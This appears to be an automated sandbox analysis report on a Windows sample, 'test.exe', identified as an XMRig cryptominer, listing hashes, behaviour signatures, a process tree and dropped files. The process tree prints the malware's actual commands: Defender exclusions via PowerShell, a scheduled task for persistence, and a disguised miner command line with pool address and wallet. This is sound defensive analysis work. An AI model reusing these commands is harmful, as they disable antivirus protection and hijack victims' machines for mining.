Analysis

  • max time kernel
    1198s
  • max time network
    1190s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-09-2024 18:22

General

  • Target

    test.exe

  • Size

    29.7MB

  • MD5

    531a4e282c420c64d7b545a9c4e0fb4d

  • SHA1

    998d298e9ff967bec6f03bf8e8e8f03b4b3728db

  • SHA256

    98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

  • SHA512

    c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730

  • SSDEEP

    786432:k99QkndbvqJ6+eH57FU4hxLq54xTxyCuYWQzJ2Mbvn:i1nM8hHxPhxO5iTECuYWQzJ7bv

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\test.exe"
      2⤵
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:4928
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4732
      • C:\Windows\System32\cmd.exe
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1200
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c "C:\Windows\system32\services64.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4572
        • C:\Windows\system32\services64.exe
          C:\Windows\system32\services64.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4364
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
            5⤵
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2412
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:628
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3612
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2796
            • C:\Windows\System32\svchost.exe
              C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:3333 --user=47nUe8D3z4bjgwqG9v4tKY3sBMcoEdvQ3iJMC8A8udU7DngaeR7hNhKETaaQD1iWhadw6j9iNWqf6fKiVcMy35kdVbxAzyD --pass= --cpu-max-threads-hint=60 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1080

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

    Filesize

    646B

    MD5

    23867f73ff39fa0dfee6cfb5d3d176ab

    SHA1

    8705a09d38e5f0b034a6f4b4deb5817e312204e1

    SHA256

    f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88

    SHA512

    108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    77d622bb1a5b250869a3238b9bc1402b

    SHA1

    d47f4003c2554b9dfc4c16f22460b331886b191b

    SHA256

    f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

    SHA512

    d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    34f595487e6bfd1d11c7de88ee50356a

    SHA1

    4caad088c15766cc0fa1f42009260e9a02f953bb

    SHA256

    0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

    SHA512

    10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    ab7e604559843df67e0883f90e62248b

    SHA1

    d5b73bf901903018100555ab8f77b5cc8407fb55

    SHA256

    33a1c34af9540a2a83372fb810d026c143d7a9781f718c5dc5949ef04ef49c05

    SHA512

    0be356a608cc05dbaaa0397a72913195d8cff371a3f238cc55eb2ce513356c9f31ec8f04f4ed8326d6fd7db15c6dc74a51d7780f9c6e52df6002c0ef8e0ad51d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4wxyq34k.kys.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Windows\system32\services64.exe

    Filesize

    29.7MB

    MD5

    531a4e282c420c64d7b545a9c4e0fb4d

    SHA1

    998d298e9ff967bec6f03bf8e8e8f03b4b3728db

    SHA256

    98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

    SHA512

    c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730

  • memory/668-8-0x0000027CE39C0000-0x0000027CE39E2000-memory.dmp

    Filesize

    136KB

  • memory/1080-70-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-69-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-79-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-77-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-76-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-74-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-68-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-72-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-71-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-54-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1080-57-0x00000281D2790000-0x00000281D27B0000-memory.dmp

    Filesize

    128KB

  • memory/1080-56-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4928-1-0x00007FFC596F3000-0x00007FFC596F5000-memory.dmp

    Filesize

    8KB

  • memory/4928-0-0x00000196616E0000-0x0000019663496000-memory.dmp

    Filesize

    29.7MB

  • memory/4928-2-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

    Filesize

    10.8MB

  • memory/4928-3-0x0000019601DC0000-0x0000019603B76000-memory.dmp

    Filesize

    29.7MB

  • memory/4928-7-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

    Filesize

    10.8MB

  • memory/4928-4-0x0000019666D70000-0x0000019666D82000-memory.dmp

    Filesize

    72KB

  • memory/4928-36-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

    Filesize

    10.8MB

  • memory/4928-32-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

    Filesize

    10.8MB

  • memory/4928-5-0x0000019666D60000-0x0000019666D6A000-memory.dmp

    Filesize

    40KB

  • memory/4928-6-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

    Filesize

    10.8MB